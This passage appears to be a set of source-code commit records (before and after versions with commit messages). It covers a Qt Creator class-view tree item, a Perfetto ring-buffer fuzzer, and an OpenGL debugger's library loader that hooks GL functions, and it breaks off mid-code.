return;\n\n convertTo(item);\n}\n\n\/*!\n Debug dump.\n*\/\n\nvoid ParserTreeItem::debugDump(int ident) const\n{\n CitSymbolInformations curHash = d->symbolInformations.constBegin();\n CitSymbolInformations endHash = d->symbolInformations.constEnd();\n while (curHash != endHash) {\n const SymbolInformation &inf = curHash.key();\n qDebug() << QString(2*ident, QLatin1Char(' ')) << inf.iconType() << inf.name() << inf.type()\n << curHash.value().isNull();\n if (!curHash.value().isNull())\n curHash.value()->debugDump(ident + 1);\n\n ++curHash;\n }\n}\n\n} \/\/ namespace Internal\n} \/\/ namespace ClassView\n\n<commit_msg>ClassView: removed dead code<commit_after>\/**************************************************************************\n**\n** Copyright (C) 2015 Denis Mingulov\n** Contact: http:\/\/www.qt.io\/licensing\n**\n** This file is part of Qt Creator.\n**\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and The Qt Company. For licensing terms and\n** conditions see http:\/\/www.qt.io\/terms-conditions. For further information\n** use the contact form at http:\/\/www.qt.io\/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 or version 3 as published by the Free\n** Software Foundation and appearing in the file LICENSE.LGPLv21 and\n** LICENSE.LGPLv3 included in the packaging of this file. Please review the\n** following information to ensure the GNU Lesser General Public License\n** requirements will be met: https:\/\/www.gnu.org\/licenses\/lgpl.html and\n** http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, The Qt Company gives you certain additional\n** rights. These rights are described in The Qt Company LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n****************************************************************************\/\n\n#include \"classviewparsertreeitem.h\"\n#include \"classviewsymbollocation.h\"\n#include \"classviewsymbolinformation.h\"\n#include \"classviewconstants.h\"\n#include \"classviewutils.h\"\n\n#include <QHash>\n#include <QPair>\n#include <QIcon>\n#include <QStandardItem>\n#include <QMutex>\n\n#include <QDebug>\n\nnamespace ClassView {\nnamespace Internal {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ParserTreeItemPrivate \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/*!\n \\class ParserTreeItemPrivate\n \\brief The ParserTreeItemPrivate class defines private class data for\n the ParserTreeItem class.\n \\sa ParserTreeItem\n *\/\nclass ParserTreeItemPrivate\n{\npublic:\n \/\/! symbol locations\n QSet<SymbolLocation> symbolLocations;\n\n \/\/! symbol information\n QHash<SymbolInformation, ParserTreeItem::Ptr> symbolInformations;\n\n \/\/! An icon\n QIcon icon;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ParserTreeItem \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/*!\n \\class ParserTreeItem\n \\brief The ParserTreeItem class is an item for the internal Class View tree.\n\n Not virtual - to speed up its work.\n*\/\n\nParserTreeItem::ParserTreeItem() :\n d(new ParserTreeItemPrivate())\n{\n}\n\nParserTreeItem::~ParserTreeItem()\n{\n delete d;\n}\n\nParserTreeItem &ParserTreeItem::operator=(const ParserTreeItem &other)\n{\n d->symbolLocations = other.d->symbolLocations;\n d->icon = other.d->icon;\n d->symbolInformations.clear();\n return *this;\n}\n\n\/*!\n Copies a parser tree item from the location specified by \\a from to this\n item.\n*\/\n\nvoid ParserTreeItem::copy(const ParserTreeItem::ConstPtr &from)\n{\n if (from.isNull())\n return;\n\n d->symbolLocations = from->d->symbolLocations;\n d->icon = from->d->icon;\n d->symbolInformations = from->d->symbolInformations;\n}\n\n\/*!\n \\fn void copyTree(const ParserTreeItem::ConstPtr &from)\n Copies a parser tree item with children from the location specified by\n \\a from to this item.\n*\/\n\nvoid ParserTreeItem::copyTree(const ParserTreeItem::ConstPtr &target)\n{\n if (target.isNull())\n return;\n\n \/\/ copy content\n d->symbolLocations = target->d->symbolLocations;\n d->icon = target->d->icon;\n d->symbolInformations.clear();\n\n \/\/ reserve memory\n\/\/ int amount = qMin(100 , target->d_ptr->symbolInformations.count() * 2);\n\/\/ d_ptr->symbolInformations.reserve(amount);\n\n \/\/ every child\n CitSymbolInformations cur = target->d->symbolInformations.constBegin();\n CitSymbolInformations end = target->d->symbolInformations.constEnd();\n\n for (; cur != end; ++cur) {\n ParserTreeItem::Ptr item(new ParserTreeItem());\n item->copyTree(cur.value());\n appendChild(item, cur.key());\n }\n}\n\n\/*!\n Adds information about symbol location from a \\location.\n \\sa SymbolLocation, removeSymbolLocation, symbolLocations\n*\/\n\nvoid ParserTreeItem::addSymbolLocation(const SymbolLocation &location)\n{\n d->symbolLocations.insert(location);\n}\n\n\/*!\n Adds information about symbol locations from \\a locations.\n \\sa SymbolLocation, removeSymbolLocation, symbolLocations\n*\/\n\nvoid ParserTreeItem::addSymbolLocation(const QSet<SymbolLocation> &locations)\n{\n d->symbolLocations.unite(locations);\n}\n\n\/*!\n Removes information about \\a location.\n \\sa SymbolLocation, addSymbolLocation, symbolLocations\n*\/\n\nvoid ParserTreeItem::removeSymbolLocation(const SymbolLocation &location)\n{\n d->symbolLocations.remove(location);\n}\n\n\/*!\n Removes information about \\a locations.\n \\sa SymbolLocation, addSymbolLocation, symbolLocations\n*\/\n\nvoid ParserTreeItem::removeSymbolLocations(const QSet<SymbolLocation> &locations)\n{\n d->symbolLocations.subtract(locations);\n}\n\n\/*!\n Gets information about symbol positions.\n \\sa SymbolLocation, addSymbolLocation, removeSymbolLocation\n*\/\n\nQSet<SymbolLocation> ParserTreeItem::symbolLocations() const\n{\n return d->symbolLocations;\n}\n\n\/*!\n Appends the child item \\a item to \\a inf symbol information.\n*\/\n\nvoid ParserTreeItem::appendChild(const ParserTreeItem::Ptr &item, const SymbolInformation &inf)\n{\n \/\/ removeChild must be used to remove an item\n if (item.isNull())\n return;\n\n d->symbolInformations[inf] = item;\n}\n\n\/*!\n Removes the \\a inf symbol information.\n*\/\n\nvoid ParserTreeItem::removeChild(const SymbolInformation &inf)\n{\n d->symbolInformations.remove(inf);\n}\n\n\/*!\n Returns the child item specified by \\a inf symbol information.\n*\/\n\nParserTreeItem::Ptr ParserTreeItem::child(const SymbolInformation &inf) const\n{\n return d->symbolInformations.value(inf);\n}\n\n\/*!\n Returns the amount of children of the tree item.\n*\/\n\nint ParserTreeItem::childCount() const\n{\n return d->symbolInformations.count();\n}\n\n\/*!\n \\property QIcon::icon\n \\brief the icon assigned to the tree item\n*\/\n\nQIcon ParserTreeItem::icon() const\n{\n return d->icon;\n}\n\n\/*!\n Sets the \\a icon for the tree item.\n *\/\nvoid ParserTreeItem::setIcon(const QIcon &icon)\n{\n d->icon = icon;\n}\n\n\/*!\n Adds an internal state with \\a target, which contains the correct current\n state.\n*\/\n\nvoid ParserTreeItem::add(const ParserTreeItem::ConstPtr &target)\n{\n if (target.isNull())\n return;\n\n \/\/ add locations\n d->symbolLocations = d->symbolLocations.unite(target->d->symbolLocations);\n\n \/\/ add children\n \/\/ every target child\n CitSymbolInformations cur = target->d->symbolInformations.constBegin();\n CitSymbolInformations end = target->d->symbolInformations.constEnd();\n while (cur != end) {\n const SymbolInformation &inf = cur.key();\n const ParserTreeItem::Ptr &targetChild = cur.value();\n\n ParserTreeItem::Ptr child = d->symbolInformations.value(inf);\n if (!child.isNull()) {\n child->add(targetChild);\n } else {\n ParserTreeItem::Ptr add(new ParserTreeItem());\n add->copyTree(targetChild);\n d->symbolInformations[inf] = add;\n }\n \/\/ next item\n ++cur;\n }\n}\n\n\/*!\n Appends this item to the QStandardIten item \\a item.\n*\/\n\nvoid ParserTreeItem::convertTo(QStandardItem *item) const\n{\n if (!item)\n return;\n\n QMap<SymbolInformation, ParserTreeItem::Ptr> map;\n\n \/\/ convert to map - to sort it\n CitSymbolInformations curHash = d->symbolInformations.constBegin();\n CitSymbolInformations endHash = d->symbolInformations.constEnd();\n while (curHash != endHash) {\n map.insert(curHash.key(), curHash.value());\n ++curHash;\n }\n\n typedef QMap<SymbolInformation, ParserTreeItem::Ptr>::const_iterator MapCitSymbolInformations;\n \/\/ add to item\n MapCitSymbolInformations cur = map.constBegin();\n MapCitSymbolInformations end = map.constEnd();\n while (cur != end) {\n const SymbolInformation &inf = cur.key();\n ParserTreeItem::Ptr ptr = cur.value();\n\n QStandardItem *add = new QStandardItem();\n Utils::setSymbolInformationToItem(inf, add);\n if (!ptr.isNull()) {\n \/\/ icon\n add->setIcon(ptr->icon());\n\n \/\/ draggable\n if (!ptr->symbolLocations().isEmpty())\n add->setFlags(add->flags() | Qt::ItemIsDragEnabled);\n\n \/\/ locations\n add->setData(Utils::locationsToRole(ptr->symbolLocations()),\n Constants::SymbolLocationsRole);\n }\n item->appendRow(add);\n ++cur;\n }\n}\n\n\/*!\n Checks \\a item in a QStandardItemModel for lazy data population.\n*\/\n\nbool ParserTreeItem::canFetchMore(QStandardItem *item) const\n{\n if (!item)\n return false;\n\n int storedChildren = item->rowCount();\n int internalChildren = d->symbolInformations.count();\n\n if (storedChildren < internalChildren)\n return true;\n\n return false;\n}\n\n\/*!\n Performs lazy data population for \\a item in a QStandardItemModel if needed.\n*\/\n\nvoid ParserTreeItem::fetchMore(QStandardItem *item) const\n{\n if (!item)\n return;\n\n convertTo(item);\n}\n\n\/*!\n Debug dump.\n*\/\n\nvoid ParserTreeItem::debugDump(int ident) const\n{\n CitSymbolInformations curHash = d->symbolInformations.constBegin();\n CitSymbolInformations endHash = d->symbolInformations.constEnd();\n while (curHash != endHash) {\n const SymbolInformation &inf = curHash.key();\n qDebug() << QString(2*ident, QLatin1Char(' ')) << inf.iconType() << inf.name() << inf.type()\n << curHash.value().isNull();\n if (!curHash.value().isNull())\n curHash.value()->debugDump(ident + 1);\n\n ++curHash;\n }\n}\n\n} \/\/ namespace Internal\n} \/\/ namespace ClassView\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2019 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <stddef.h>\n#include <stdint.h>\n\n#include \"perfetto\/base\/file_utils.h\"\n#include \"perfetto\/base\/temp_file.h\"\n#include \"src\/profiling\/memory\/shared_ring_buffer.h\"\n\nnamespace perfetto {\nnamespace profiling {\nnamespace {\n\nstruct MetadataHeader {\n alignas(uint64_t) std::atomic<bool> spinlock;\n uint64_t read_pos;\n uint64_t write_pos;\n};\n\nsize_t RoundToPow2(size_t v) {\n uint64_t x = static_cast<size_t>(v);\n if (x < 2)\n return 2;\n\n x--;\n x |= x >> 1;\n x |= x >> 2;\n x |= x >> 4;\n x |= x >> 8;\n x |= x >> 16;\n x |= x >> 32;\n x++;\n return static_cast<size_t>(x);\n}\n\nint FuzzRingBuffer(const uint8_t* data, size_t size) {\n if (size <= sizeof(MetadataHeader))\n return 0;\n\n auto fd = base::TempFile::CreateUnlinked().ReleaseFD();\n PERFETTO_CHECK(fd);\n\n \/\/ Put the remaining fuzzer input into the data portion of the ring buffer.\n size_t payload_size = size - sizeof(MetadataHeader);\n const uint8_t* payload = data + sizeof(MetadataHeader);\n size_t payload_size_pages =\n (payload_size + base::kPageSize - 1) \/ base::kPageSize;\n \/\/ Upsize test buffer to be 2^n data pages (precondition of the impl) + 1 page\n \/\/ for the metadata.\n size_t total_size_pages = 1 + RoundToPow2(payload_size_pages);\n\n PERFETTO_CHECK(ftruncate(*fd, total_size_pages * base::kPageSize) == 0);\n\n PERFETTO_CHECK(base::WriteAll(*fd, data, sizeof(MetadataHeader)) != -1);\n PERFETTO_CHECK(lseek(*fd, base::kPageSize, SEEK_SET) != -1);\n PERFETTO_CHECK(base::WriteAll(*fd, payload, payload_size) != -1);\n\n auto buf = SharedRingBuffer::Attach(std::move(fd));\n PERFETTO_CHECK(!!buf);\n\n bool did_read;\n do {\n auto read_buf = buf->BeginRead();\n did_read = bool(read_buf);\n if (did_read) {\n volatile uint8_t* v_data = read_buf.data;\n \/\/ Assert we get a reference to valid memory.\n for (size_t i = 0; i < read_buf.size; ++i)\n v_data[i] = v_data[i];\n }\n buf->EndRead(std::move(read_buf));\n } while (did_read);\n return 0;\n}\n\n} \/\/ namespace\n} \/\/ namespace profiling\n} \/\/ namespace perfetto\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n return perfetto::profiling::FuzzRingBuffer(data, size);\n}\n<commit_msg>Fix typo in fuzzer (functionally equivalent). am: 0e7d41f09a am: 6322f83417<commit_after>\/*\n * Copyright (C) 2019 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <stddef.h>\n#include <stdint.h>\n\n#include \"perfetto\/base\/file_utils.h\"\n#include \"perfetto\/base\/temp_file.h\"\n#include \"src\/profiling\/memory\/shared_ring_buffer.h\"\n\nnamespace perfetto {\nnamespace profiling {\nnamespace {\n\nstruct MetadataHeader {\n alignas(uint64_t) std::atomic<bool> spinlock;\n uint64_t read_pos;\n uint64_t write_pos;\n};\n\nsize_t RoundToPow2(size_t v) {\n uint64_t x = static_cast<uint64_t>(v);\n if (x < 2)\n return 2;\n\n x--;\n x |= x >> 1;\n x |= x >> 2;\n x |= x >> 4;\n x |= x >> 8;\n x |= x >> 16;\n x |= x >> 32;\n x++;\n return static_cast<size_t>(x);\n}\n\nint FuzzRingBuffer(const uint8_t* data, size_t size) {\n if (size <= sizeof(MetadataHeader))\n return 0;\n\n auto fd = base::TempFile::CreateUnlinked().ReleaseFD();\n PERFETTO_CHECK(fd);\n\n \/\/ Put the remaining fuzzer input into the data portion of the ring buffer.\n size_t payload_size = size - sizeof(MetadataHeader);\n const uint8_t* payload = data + sizeof(MetadataHeader);\n size_t payload_size_pages =\n (payload_size + base::kPageSize - 1) \/ base::kPageSize;\n \/\/ Upsize test buffer to be 2^n data pages (precondition of the impl) + 1 page\n \/\/ for the metadata.\n size_t total_size_pages = 1 + RoundToPow2(payload_size_pages);\n\n PERFETTO_CHECK(ftruncate(*fd, total_size_pages * base::kPageSize) == 0);\n\n PERFETTO_CHECK(base::WriteAll(*fd, data, sizeof(MetadataHeader)) != -1);\n PERFETTO_CHECK(lseek(*fd, base::kPageSize, SEEK_SET) != -1);\n PERFETTO_CHECK(base::WriteAll(*fd, payload, payload_size) != -1);\n\n auto buf = SharedRingBuffer::Attach(std::move(fd));\n PERFETTO_CHECK(!!buf);\n\n bool did_read;\n do {\n auto read_buf = buf->BeginRead();\n did_read = bool(read_buf);\n if (did_read) {\n volatile uint8_t* v_data = read_buf.data;\n \/\/ Assert we get a reference to valid memory.\n for (size_t i = 0; i < read_buf.size; ++i)\n v_data[i] = v_data[i];\n }\n buf->EndRead(std::move(read_buf));\n } while (did_read);\n return 0;\n}\n\n} \/\/ namespace\n} \/\/ namespace profiling\n} \/\/ namespace perfetto\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n return perfetto::profiling::FuzzRingBuffer(data, size);\n}\n<|endoftext|>"} {"text":"<commit_before>#include <cstdlib>\r\n#include <cassert>\r\n\r\n#include \"api-loader.h\"\r\n#include \"pointers.h\"\r\n\r\n#include <string>\r\n#include <vector>\r\n#include <stdexcept>\r\n\r\n#ifdef USE_DETOURS\r\n#include \"detours\/detours.h\"\r\n#endif\r\n\r\n#ifdef USE_MHOOK\r\n#include \"mhook\/mhook-lib\/mhook.h\"\r\n#endif\r\n\r\n#include \"gl-wrappers.h\"\r\n\r\n#include <DGLCommon\/os.h>\r\n\r\n#ifndef _WIN32\r\n#include <dlfcn.h>\r\n#endif\r\n\r\n\/\/here direct pointers are kept (pointers to entrypoints exposed by underlying OpenGL32 implementation\r\n\/\/use DIRECT_CALL(name) to call one of these pointers\r\nLoadedPointer g_DirectPointers[Entrypoints_NUM] = {\r\n#define FUNC_LIST_ELEM_SUPPORTED(name, type, library) { NULL, library},\r\n#define FUNC_LIST_ELEM_NOT_SUPPORTED(name, type, library) FUNC_LIST_ELEM_SUPPORTED(name, type, library)\r\n #include \"codegen\/functionList.inl\"\r\n#undef FUNC_LIST_ELEM_SUPPORTED\r\n#undef FUNC_LIST_ELEM_NOT_SUPPORTED\r\n};\r\n\r\nAPILoader::APILoader():m_GlueLibrary(LIBRARY_NONE), m_LoadedApiLibraries(LIBRARY_NONE) {}\r\n\r\nvoid* APILoader::loadGLPointer(LoadedLib library, Entrypoint entryp) {\r\n#ifdef _WIN32\r\n return GetProcAddress((HINSTANCE)library, GetEntryPointName(entryp));\r\n#else\r\n return dlsym(library, GetEntryPointName(entryp));\r\n#endif\r\n}\r\n\r\nvoid* APILoader::loadExtPointer(Entrypoint entryp) {\r\n if (!g_DirectPointers[entryp].ptr) {\r\n\r\n if (!m_GlueLibrary) {\r\n throw std::runtime_error(\"Trying to call *GetProcAdress, but no glue library loaded\");\r\n }\r\n\r\n void * ptr = NULL;\r\n\r\n switch (m_GlueLibrary) {\r\n#ifdef _WIN32 \r\n case LIBRARY_WGL:\r\n ptr = DIRECT_CALL(wglGetProcAddress)(GetEntryPointName(entryp));\r\n break;\r\n#endif\r\n case LIBRARY_EGL:\r\n ptr = (void*)DIRECT_CALL(eglGetProcAddress)(GetEntryPointName(entryp));\r\n break;\r\n default:\r\n assert(!\"unknown glue library\");\r\n }\r\n g_DirectPointers[entryp].ptr = ptr;\r\n }\r\n return g_DirectPointers[entryp].ptr;\r\n}\r\n\r\nstd::string APILoader::getLibraryName(ApiLibrary apiLibrary) {\r\n switch (apiLibrary) {\r\n case LIBRARY_EGL:\r\n#ifdef _WIN32\r\n return \"libEGL.dll\";\r\n#else\r\n return \"libEGL.so.1\";\r\n#endif\r\n case LIBRARY_GL:\r\n case LIBRARY_WGL:\r\n#ifdef _WIN32\r\n return \"opengl32.dll\";\r\n#else\r\n return \"libGL.so.1\";\r\n#endif\r\n case LIBRARY_ES2:\r\n case LIBRARY_ES3:\r\n#ifdef _WIN32\r\n return \"libGLESv2.dll\";\r\n#else\r\n return \"libGLESv2.so.1\";\r\n#endif\r\n default:\r\n assert(!\"unknown library\");\r\n throw std::runtime_error(\"Unknown GL library name\");\r\n }\r\n}\r\n\r\nvoid APILoader::loadLibrary(ApiLibrary apiLibrary) {\r\n\r\n std::string libraryName = getLibraryName(apiLibrary);\r\n\r\n if (m_LoadedLibraries.find(libraryName) == m_LoadedLibraries.end()) {\r\n std::vector<std::string> libSearchPath;\r\n\r\n LoadedLib openGLLibraryHandle = NULL;\r\n\r\n#ifdef _WIN32\r\n char buffer[1000];\r\n#ifndef _WIN64\r\n if (GetSystemWow64Directory(buffer, sizeof(buffer)) > 0) {\r\n \/\/we are running 32bit app on 64 bit windows\r\n libSearchPath.push_back(buffer);\r\n }\r\n#endif\r\n if (!openGLLibraryHandle) {\r\n if (GetSystemDirectory(buffer, sizeof(buffer)) > 0) {\r\n \/\/we are running on native system (32 on 32 or 64 on 64)\r\n libSearchPath.push_back(buffer);\r\n }\r\n }\r\n#ifndef _WIN64\r\n libSearchPath.push_back(\"C:\\\\Windows\\\\SysWOW64\\\\\");\r\n#endif\r\n libSearchPath.push_back(\"C:\\\\Windows\\\\System32\\\\\");\r\n libSearchPath.push_back(\".\");\r\n#endif\r\n libSearchPath.push_back(\"\");\r\n\r\n for (size_t i = 0; i < libSearchPath.size() && !openGLLibraryHandle; i++) {\r\n#ifdef _WIN32\r\n openGLLibraryHandle = (LoadedLib)LoadLibrary((libSearchPath[i] + libraryName).c_str());\r\n#else\r\n openGLLibraryHandle = dlopen((libSearchPath[i] + libraryName).c_str(), RTLD_NOW);\r\n#endif\r\n }\r\n\r\n if (!openGLLibraryHandle) {\r\n std::string msg = std::string(\"Cannot load \") + libraryName + \" system library\";\r\n Os::fatal(msg);\r\n } else {\r\n m_LoadedLibraries[libraryName] = openGLLibraryHandle;\r\n }\r\n }\r\n\r\n LoadedLib library = m_LoadedLibraries[libraryName];\r\n\r\n\r\n \/\/we use MS Detours only on win32, on x64 mHook is used\r\n#ifdef USE_DETOURS\r\n DetourRestoreAfterWith();\r\n DetourTransactionBegin();\r\n DetourUpdateThread(GetCurrentThread());\r\n#endif\r\n \/\/g_DirectPointers is now filled with opengl32.dll pointers\r\n \/\/ we will now detour (hook) them all, so g_DirectPointers will still lead to original opengl32.dll, but\r\n \/\/application will always call us. \r\n for (int i = 0; i < Entrypoints_NUM; i++) {\r\n if (!(g_DirectPointers[i].libraryMask & apiLibrary)) {\r\n \/\/Do not load - entrypoint does not belong to currently loaded API\r\n continue;\r\n }\r\n\r\n if (m_LoadedApiLibraries & g_DirectPointers[i].libraryMask) {\r\n \/\/Do not load - entrypoint belongs to already loaded API\r\n continue;\r\n }\r\n\r\n g_DirectPointers[i].ptr = loadGLPointer(library, i);\r\n\r\n if (g_DirectPointers[i].ptr) {\r\n \/\/this entrypoint was loaded from OpenGL32.dll, detour it!\r\n void * hookPtr = getWrapperPointer(i);\r\n#ifdef USE_DETOURS\r\n DetourAttach(&(PVOID&)g_DirectPointers[i].ptr, hookPtr);\r\n#endif\r\n#ifdef USE_MHOOK\r\n if (!Mhook_SetHook(&(PVOID&)g_DirectPointers[i].ptr, hookPtr)) {\r\n std::string error = \"Cannot load OpenGL32.dll funcion \";\r\n error += GetEntryPointName(i);\r\n error += \"().\";\r\n Os::fatal(error);\r\n }\r\n#endif\r\n }\r\n }\r\n#ifdef USE_DETOURS\r\n DetourTransactionCommit();\r\n#endif\r\n if (apiLibrary == LIBRARY_EGL || apiLibrary == LIBRARY_WGL)\r\n m_GlueLibrary = apiLibrary;\r\n\r\n m_LoadedApiLibraries |= apiLibrary;\r\n}\r\n\r\nvoid* APILoader::ensurePointer(Entrypoint entryp) {\r\n if (g_DirectPointers[entryp].ptr || loadExtPointer(entryp)) {\r\n return g_DirectPointers[entryp].ptr;\r\n } else {\r\n std::string error = \"Operation aborted, because the \";\r\n error += GetEntryPointName(entryp);\r\n error += \" function is not available on current context. Try updating GPU drivers.\";\r\n throw std::runtime_error(error);\r\n }\r\n}\r\n\r\n\r\nAPILoader g_ApiLoader;\r\n<commit_msg>Change order of paths in dll search: first search without path. This will definitely kill loading DGLWrapper.dll by changing name to opengl32.dll, but fixes problem when library is both in . and in %SYSTEM%.<commit_after>#include <cstdlib>\r\n#include <cassert>\r\n\r\n#include \"api-loader.h\"\r\n#include \"pointers.h\"\r\n\r\n#include <string>\r\n#include <vector>\r\n#include <stdexcept>\r\n\r\n#ifdef USE_DETOURS\r\n#include \"detours\/detours.h\"\r\n#endif\r\n\r\n#ifdef USE_MHOOK\r\n#include \"mhook\/mhook-lib\/mhook.h\"\r\n#endif\r\n\r\n#include \"gl-wrappers.h\"\r\n\r\n#include <DGLCommon\/os.h>\r\n\r\n#ifndef _WIN32\r\n#include <dlfcn.h>\r\n#endif\r\n\r\n\/\/here direct pointers are kept (pointers to entrypoints exposed by underlying OpenGL32 implementation\r\n\/\/use DIRECT_CALL(name) to call one of these pointers\r\nLoadedPointer g_DirectPointers[Entrypoints_NUM] = {\r\n#define FUNC_LIST_ELEM_SUPPORTED(name, type, library) { NULL, library},\r\n#define FUNC_LIST_ELEM_NOT_SUPPORTED(name, type, library) FUNC_LIST_ELEM_SUPPORTED(name, type, library)\r\n #include \"codegen\/functionList.inl\"\r\n#undef FUNC_LIST_ELEM_SUPPORTED\r\n#undef FUNC_LIST_ELEM_NOT_SUPPORTED\r\n};\r\n\r\nAPILoader::APILoader():m_GlueLibrary(LIBRARY_NONE), m_LoadedApiLibraries(LIBRARY_NONE) {}\r\n\r\nvoid* APILoader::loadGLPointer(LoadedLib library, Entrypoint entryp) {\r\n#ifdef _WIN32\r\n return GetProcAddress((HINSTANCE)library, GetEntryPointName(entryp));\r\n#else\r\n return dlsym(library, GetEntryPointName(entryp));\r\n#endif\r\n}\r\n\r\nvoid* APILoader::loadExtPointer(Entrypoint entryp) {\r\n if (!g_DirectPointers[entryp].ptr) {\r\n\r\n if (!m_GlueLibrary) {\r\n throw std::runtime_error(\"Trying to call *GetProcAdress, but no glue library loaded\");\r\n }\r\n\r\n void * ptr = NULL;\r\n\r\n switch (m_GlueLibrary) {\r\n#ifdef _WIN32 \r\n case LIBRARY_WGL:\r\n ptr = DIRECT_CALL(wglGetProcAddress)(GetEntryPointName(entryp));\r\n break;\r\n#endif\r\n case LIBRARY_EGL:\r\n ptr = (void*)DIRECT_CALL(eglGetProcAddress)(GetEntryPointName(entryp));\r\n break;\r\n default:\r\n assert(!\"unknown glue library\");\r\n }\r\n g_DirectPointers[entryp].ptr = ptr;\r\n }\r\n return g_DirectPointers[entryp].ptr;\r\n}\r\n\r\nstd::string APILoader::getLibraryName(ApiLibrary apiLibrary) {\r\n switch (apiLibrary) {\r\n case LIBRARY_EGL:\r\n#ifdef _WIN32\r\n return \"libEGL.dll\";\r\n#else\r\n return \"libEGL.so.1\";\r\n#endif\r\n case LIBRARY_GL:\r\n case LIBRARY_WGL:\r\n#ifdef _WIN32\r\n return \"opengl32.dll\";\r\n#else\r\n return \"libGL.so.1\";\r\n#endif\r\n case LIBRARY_ES2:\r\n case LIBRARY_ES3:\r\n#ifdef _WIN32\r\n return \"libGLESv2.dll\";\r\n#else\r\n return \"libGLESv2.so.1\";\r\n#endif\r\n default:\r\n assert(!\"unknown library\");\r\n throw std::runtime_error(\"Unknown GL library name\");\r\n }\r\n}\r\n\r\nvoid APILoader::loadLibrary(ApiLibrary apiLibrary) {\r\n\r\n std::string libraryName = getLibraryName(apiLibrary);\r\n\r\n if (m_LoadedLibraries.find(libraryName) == m_LoadedLibraries.end()) {\r\n std::vector<std::string> libSearchPath;\r\n\r\n LoadedLib openGLLibraryHandle = NULL;\r\n\r\n libSearchPath.push_back(\"\");\r\n#ifdef _WIN32\r\n char buffer[1000];\r\n#ifndef _WIN64\r\n if (GetSystemWow64Directory(buffer, sizeof(buffer)) > 0) {\r\n \/\/we are running 32bit app on 64 bit windows\r\n libSearchPath.push_back(buffer + std::string(\"\\\\\"));\r\n }\r\n#endif\r\n if (!openGLLibraryHandle) {\r\n if (GetSystemDirectory(buffer, sizeof(buffer)) > 0) {\r\n \/\/we are running on native system (32 on 32 or 64 on 64)\r\n libSearchPath.push_back(buffer + std::string(\"\\\\\"));\r\n }\r\n }\r\n#ifndef _WIN64\r\n libSearchPath.push_back(\"C:\\\\Windows\\\\SysWOW64\\\\\");\r\n#endif\r\n libSearchPath.push_back(\"C:\\\\Windows\\\\System32\\\\\");\r\n libSearchPath.push_back(\".\");\r\n#endif\r\n\r\n for (size_t i = 0; i < libSearchPath.size() && !openGLLibraryHandle; i++) {\r\n#ifdef _WIN32\r\n openGLLibraryHandle = (LoadedLib)LoadLibrary((libSearchPath[i] + libraryName).c_str());\r\n#else\r\n openGLLibraryHandle = dlopen((libSearchPath[i] + libraryName).c_str(), RTLD_NOW);\r\n#endif\r\n }\r\n\r\n if (!openGLLibraryHandle) {\r\n std::string msg = std::string(\"Cannot load \") + libraryName + \" system library\";\r\n Os::fatal(msg);\r\n } else {\r\n m_LoadedLibraries[libraryName] = openGLLibraryHandle;\r\n }\r\n }\r\n\r\n LoadedLib library = m_LoadedLibraries[libraryName];\r\n\r\n\r\n \/\/we use MS Detours only on win32, on x64 mHook is used\r\n#ifdef USE_DETOURS\r\n DetourRestoreAfterWith();\r\n DetourTransactionBegin();\r\n DetourUpdateThread(GetCurrentThread());\r\n#endif\r\n \/\/g_DirectPointers is now filled with opengl32.dll pointers\r\n \/\/ we will now detour (hook) them all, so g_DirectPointers will still lead to original opengl32.dll, but\r\n \/\/application will always call us. \r\n for (int i = 0; i < Entrypoints_NUM; i++) {\r\n if (!(g_DirectPointers[i].libraryMask & apiLibrary)) {\r\n \/\/Do not load - entrypoint does not belong to currently loaded API\r\n continue;\r\n }\r\n\r\n if (m_LoadedApiLibraries & g_DirectPointers[i].libraryMask) {\r\n \/\/Do not load - entrypoint belongs to already loaded API\r\n continue;\r\n }\r\n\r\n g_DirectPointers[i].ptr = loadGLPointer(library, i);\r\n\r\n if (g_DirectPointers[i].ptr) {\r\n \/\/this entrypoint was loaded from OpenGL32.dll, detour it!\r\n void * hookPtr = getWrapperPointer(i);\r\n#ifdef USE_DETOURS\r\n DetourAttach(&(PVOID&)g_DirectPointers[i].ptr, hookPtr);\r\n#endif\r\n#ifdef USE_MHOOK\r\n if (!Mhook_SetHook(&(PVOID&)g_DirectPointers[i].ptr, hookPtr)) {\r\n std::string error = \"Cannot load OpenGL32.dll funcion \";\r\n error += GetEntryPointName(i);\r\n error += \"().\";\r\n Os::fatal(error);\r\n }\r\n#endif\r\n }\r\n }\r\n#ifdef USE_DETOURS\r\n DetourTransactionCommit();\r\n#endif\r\n if 